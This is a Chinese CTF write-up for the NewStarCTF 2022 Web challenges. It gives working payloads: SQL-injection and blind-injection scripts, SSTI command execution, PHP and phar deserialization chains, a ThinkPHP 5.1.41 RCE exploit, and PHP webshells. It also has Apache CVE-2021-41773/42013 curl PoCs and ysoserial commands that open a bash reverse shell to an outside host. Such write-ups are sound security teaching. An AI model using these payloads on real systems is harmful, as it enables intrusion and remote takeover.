NEWSTARCTF2022-Web

WEEK1

HTTP

​ 题目要求GET传入一个name,POST传入一个key(元素审查在注释中找到),又提示你不是admin,查看cookie里user的值为guest,猜测需要把它改为admin

WEEK1-HTTP

payload:

GET: /?name=admin
POST: key=ctfisgood
COOKIE: user=admin

Head?Header!

根据提示一步一步修改header头内容:

WEEK1-HEADER

payload:

User-Agent: CTF
Referer: ctf.com
X-Forwarded-For: 127.0.0.1

我真的会谢

robots.txt中找到Part One: flag{Th1s_Is_s00

.index.php.swp中找到Part two:0_e4sy_d0_y00

www.zip中找到Part Three: u_th1nk_so?}

拼接一下获得flag

NotPHP

第一层绕过file_get_contents:利用data://伪协议绕过

第二层绕过MD5弱比较:利用数组绕过

第三层绕过intval:在数字后加字母

第四层绕过注释符#:加换行符%0a

完整payload:

GET:
data=data://text/plain,Welcome%20to%20CTF&key1[]=1&key2[]=2&cmd=%0asystem('cat%20/f*');
POST:
name=2077a

Word-For-You

直接在留言查询页面输入万能密码1'or 1=1--+就都查出来了,随手一试……

WEEK1-Word-For-You

WEEK1-Word-For-You

flag: flag{Th1s_is_0_simp1e_S0L_test}    

WEEK2

Word-For-You(2 Gen)

week1的升级版,只显示查询成功不显示内容了,如果留言不存在就不会显示查询成功,看来是用了布尔盲注,写个脚本:

import requests
import time

if __name__ == '__main__' :
    url = 'http://7c599b1b-ed36-4f74-9ef736604685e43.node4.buuoj.cn:81/comments.php'
    result = ''
    i = 0
    while True:
        i = i + 1
        low = 32
        high = 128
        while low < high:
            mid = (low + high) // 2
            payload = f"1' or ascii(substr((select database()),{i},1))>{mid}-- -"
            #payload = f"1' or(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})-- -"
            #payload = f"1' or(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_comments')),{i},1))>{mid})-- -"
            #payload = f"1' or (ascii(substr((select text from wfy_comments limit 11,1),{i},1))>{mid})-- -"
            data = {
                "name": payload
            }
            r=requests.post(url=url,data=data)
            r.encoding="utf-8"
            #print(r.text)
            if '啊呜' in r.text:
                high = mid
            else:
                low = mid + 1
            time.sleep(0.2)
        if low!=32:
            result += chr(low)
            print(result)
        else:
            break
    print(result)

这里有个小坑点就是,留言中的大部分内容都是中文的,不好用ascii码比较的情况爆破出所有的留言内容,但是我们可以用limit限制只爆破flag的那条留言的值,返回week1中的sql题看了一下flag是第十二条留言,因此就限制到limit 11,1爆破出flag

WEEK2-Word-For-You(2 Gen)

IncludeOne

绕过第一层伪随机数,利用现成脚本爆破出随机数种子:1145146

(WEEK2 IncludeOne)

本地写个脚本得出guess的值:1202031004

(WEEK2 IncludeOne)

绕过第二层include,要求必须有NewStar且不能出现base..,利用php://filter伪协议rot13编码实现绕过,最终payload为:

POST: guess=1202031004
GET: /?file=php://filter/string.rot13/newstar/resource=flag.php

F12在注释中找到rot13编码后的字符串,解码一下得到flag

(WEEK2 IncludeOne)

UnserializeOne

完整的poc链为:

Start::__destruct() -> Sec::__toString() -> Easy::__call() -> eeee::__clone() -> Start::__isset() -> Sec::__invoke()

附上脚本:

<?php
class Start{
    public $name;
    protected $func;
    public function __construct(){
        $this->func=new Sec();
        $this->name=new Sec();
    }
}
class Sec{
    private $obj;
    public $var;
    public function __construct(){
        $this->obj=new Easy();
    }
}
class Easy{
    public $cla;
}
class eeee{
    public $obj;
}
$c=new eeee();
$a=new Start();
$c->obj=$a;
$b=new Sec();
$b->var=$c;
$a->name=$b;
echo urlencode(serialize($c));

注意虽然poc链是从Start开始,但利用eeee先进去也可以触发Start的__destruct()方法

ezAPI

www.zip源码泄露,考到了graphql,ok完全没听说过,查资料找博客,看到了这篇文章:
https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ
大致了解了graphql的特性后,尝试了一下内省查询,啥也没出来,在源码里找到flag的接口,按照输出id的格式写了一下:

payload:id=1&data={"query":"query{\nffffllllaaagggg_1n_h3r3_flag {\nflag\n}\n}\n"}

(WEEK2 ezAPI)

WEEK3

BabySSTI_One

非常简单的SSTI模板注入,浅试了一下init和cat被过滤了,利用字符串拼接和中括号绕过,最终payload为:

GET: ?name={{self['__in'+'it__'].__globals__.__builtins__['__import__']('os').popen('tac /f*').read()}}

multiSQL

根据题目翻译考的是联合注入,试了一下果然可以,题目要求把火华师傅的四级成绩改到425分以上,发现select,update,insert 都被过滤了,这里我们可以利用replace into进行数据修改,再利用delete删除原数据:

POST: 
username=%E7%81%AB%E5%8D%8E';show tables;#查数据库里所有的表
username=%E7%81%AB%E5%8D%8E';desc score;#查score表中所有字段
username=%E7%81%AB%E5%8D%8E';replace into score values("火华",200,200,200);#表中插入一条数据
username=%E7%81%AB%E5%8D%8E';delete from score where listen=11;#删除原本的数据

操作完以后,点击验证数据就可以拿到flag,复现的时候注意中文符号以及不要重复多次执行sql语句,有可能有奇奇怪怪的错误。

(WEEK3 multiSQL)

IncludeTwo

涉及知识盲区了,给出了hint才做出,具体我是按照https://www.cnblogs.com/iwantflag/p/15602747.html 这篇博客写的。具体原理就是利用pearcmd.php来实现文件包含

详细内容不多说移步上面师傅的博客,下面放出payload:

GET: /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/tmp/hello.php
#在hello.php文件中RCE
GET: /index.php?&file=/tmp/hello
POST: 1=system('cat /f*');

注:用burpsuite传GET,用hackbar会被url编码传入文件无法解析

(WEEK3 IncludeTwo)

Maybe You Have To think More

题目提示提交用户名,提交完了就输出名字啥也没有,看看有没有备份文件,结果有报错显示是thinkphp5.1.41版本的,又看了眼cookie像是base64编码后又url编码的,解码一下果然,网上搜了一下该版本的cve,具体讲解看这位师傅博客https://www.freebuf.com/vuls/263977.html

exp:

<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method'       => '_method',
// 表单ajax伪装变量
'var_ajax'         => '_ajax',
// 表单pjax伪装变量
'var_pjax'         => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo'     => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter'   => '',
// 域名根,如thinkphp.cn
'url_domain_root'  => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip'    => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix'  => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
​
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
​
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
​
use think\Model;
​
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
/*TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=*/
?>

将脚本结果放到cookie中,随便GET传个参数进行RCE:

image-20221006230816965

flag在env中

image-20221006230844664

WEEK4

BabySSTI_Two

这回的过滤关键词蛮多的,init,globals,builtins,popen,空格,加号,cat都给过滤了,不过无伤大雅,关键词过滤了可以用中括号和字符串拼接,加号过滤了可以直接省去效果相同,空格过滤了可以${IFS}替代,还是那个payload,稍微修改一下拿来就能用

GET: ?name={{self['__in''it__']['__glo''bals__']['__bui''ltins__']['__import__']('os')['pop''en']('tac${IFS}/f*').read()}}

轻松拿下flag

(WEEK4 BabySSTI_Two)

So Baby RCE

这题困扰了我好久,我拿源码在我的vps跑我的payload是能出的,但是这个题就不行,最后还是换了个方法。过滤了很多关键字,但可以用ls,cd,rev,..,&&,?等等来实现RCE,payload为

GET: /?cmd=cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..%26%26${IFS}cd${IFS}..%26%26rev${IFS}fff?llllaaaaggggg

得到逆序后的flag,随便跑个逆序字符串的脚本获得flag

WEEK4-So Baby RCE

这里注意&符号在GET中有其他作用,需要进行url编码后使用。原本我的payload的是打算利用环境变量来构造/来实现RCE,具体做法为

${PWD:0:1} => '/'

可能因为环境不太一样,就是构造不出来,还是太菜了。

UnserialieThree

F12页面审查发现提示class.php中有内容,访问一下查看源码:

<?php
highlight_file(__FILE__);
class Evil{
    public $cmd;
    public function __destruct()
    {
        if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
            //Same point ,can you bypass me again?
            eval("#".$this->cmd);
        }else{
            echo "No!";
        }
    }
}

file_exists($_GET['file']);

又是文件上传又是反序列化很容易想到phar反序列化,解出这道题的关键就是如何绕过eval里面的注释符。回车符被过滤了可以考虑换行符%0d,还听一个师傅说用\r也可以但我太菜没复现出来,然后就跑一个生成phar格式的脚本:

<?php
#要把php.ini中的phar.readonly设置成Off,不然无法生成phar文件

class Evil {
    public $cmd;
}

$a = new Evil();
$a->cmd=urldecode("%0d")."system('cat f*');";
$phar = new Phar("aa.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a);//将自定义的meta-data存入manifest,且这部分是以序列化的形式存在
$phar->addFromString("test.txt", "test"); //添加要压缩的文件,因为phar相当于一个解压缩,前提就是要现有.phar文件,然后又因为meta-data是由序列化存储,这边添加一个压缩文件包,就是为了在用phar://伪协议的时候触发meta-data的反序列化
$phar->stopBuffering();//签名自动计算
?>

这里注意%0d需要解码一下再拼接,获得phar文件后修改一下后缀为.png绕过后缀检查,上传后在class.php利用伪协议phar://读取文件触发反序列化

WEEK4-UnserialieThree

WEEK4-UnserialieThree

又一个SQL

输入100回显说有f1ag_is_here的留言,然后输入1发现能查到有这个数据但不显示数据内容,试了一下1^1查不到,1^0回显与1相同,找到注入点直接开始盲注,脚本如下:

import requests
import time

if __name__ == '__main__' :
    url = 'http://abfb87c2-4829-4181-be2f-0e2a0a3df3ec.node4.buuoj.cn:81/comments.php'
    result = ''
    i = 0
    while True:
        i = i + 1
        low = 32
        high = 128
        while low < high:
            mid = (low + high) // 2
            #payload = f"1^(ascii(substr((select(database())),{i},1))>{mid})"
            #payload = f"1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})+'0"
            #payload = f"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})"
            #payload = f"1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_comments')),{i},1))>{mid})"
            payload = f"1^(ascii(substr((select(text)from(wfy_comments)where(user='f1ag_is_here')),{i},1))>{mid})"
            data = {
                "name": payload
            }
            r=requests.post(url=url,data=data)
            r.encoding="utf-8"
            print(payload)
            if '耶' in r.text:
                high = mid
            else:
                low = mid + 1
            time.sleep(0.2)
        if low!=32:
            result += chr(low)
            print(result)
        else:
            break
    print(result)

这里需要注意一下空格过滤了,拿小括号分割一下,因为前面提示了flag在f1ag_is_here里,查询到wfy_comments表中字段有id,user,name,text,flag肯定在text字段中,然后试一试f1ag_is_hereuser字段的内容还是name字段的内容,用where限定一下,还是那个问题可能有中文字符盲注不好全跑出来。

WEEK4-又一个SQL

Rome

拿到源码放到jd-gui中查看

image-20221018200736343

根据题目可知是ROME反序列化,用现成的工具ysoserial生成payload

java -jar ysoserial-master.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC95b3VyLXZwcy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" | base64

image-20221018201346680

将payload中的回车符删掉,再url编码一下

image-20221018201438832

在服务器上nc监听端口,POST传参数EXP反弹到服务器上getshell

image-20221018203140129

WEEK5

Give me your photo PLZ

随便上传一个照片正常显示,改成php结尾会报错,看来对php文件有过滤,根据报错页面知道这是一个apache服务的靶机,尝试上传.htaccess

.htaccess文件内容

将文件名改为.htaccess.png上传,burpsuite抓包去掉后缀

Give me your photo PLZ

之后再随便传个一句话木马,保存为png格式就可以getshell了

<?php eval($_POST['cmd']);?>//保存为1.png

网页访问/upload/1.png

Give me your photo PLZ

看到这句话后我真的泪目了~~在env中找到flag

image-20221017152333215

BabySSTI_Three

相比之前的题过滤了下划线_,这里我们可以用十六进制编码绕过,完整payload:

GET: ?name={{self['\x5f\x5fin''it\x5f\x5f']['\x5f\x5fglo''bals\x5f\x5f']['\x5f\x5fbui''ltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['pop''en']('tac${IFS}/f*').read()}}

BabySSTI_Three

Unsafe Apache

CVE-2021-41773

影响版本:Apache 2.4.49

poc:

curl -v --path-as-is http://192.168.190.134:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

curl -v --data "echo;id" 'http://192.168.190.134:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/192.168.190.146/8888 0>&1' "http://192.168.190.134:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

CVE-2021-42013

影响版本:Apache 2.4.49 和 Apache 2.4.50

poc:

curl -v --path-as-is http://192.168.190.134:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

curl -v --data "echo;id" 'http://192.168.190.134:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; whoami' "http://192.168.190.134:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"

这里用wappalyzer插件看一下apache的版本为Apache 2.4.50,用CVE-2021-42013的poc打

image-20221017195441225

执行 curl -v --data "echo;cat /f*" 'http://node4.buuoj.cn:26822/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

拿到flag

image-20221017195832990

So Baby RCE Again

<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/bash|curl/i',$_GET["cmd"])){
        echo "Hacker!";
    }else{
        shell_exec($_GET["cmd"]);
    }
}else{
    show_source(__FILE__);
}

bashcurl过滤了,试了一下nc命令也没有反应,看来反弹shell这条路行不通,于是就利用写文件来看

GET: ?cmd=echo "<?php eval(\$_POST[cmd]);?>" >1.php

直接写个一句话木马到文件里,注意对$的转义

利用蚁剑连接

image-20221018203939242

在根目录里发现flag但是空的,我们进入终端执行命令:

ls / -al

image-20221018204150803

发现权限不够,利用find寻找可以利用的函数:

find / -perm -u=s -type f 2>/dev/null

image-20221018204406047

蚁剑里出不来不知道为什么,返回页面执行一下,发现有date可用

用命令date -f /f*读到flag

image-20221018204611177


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com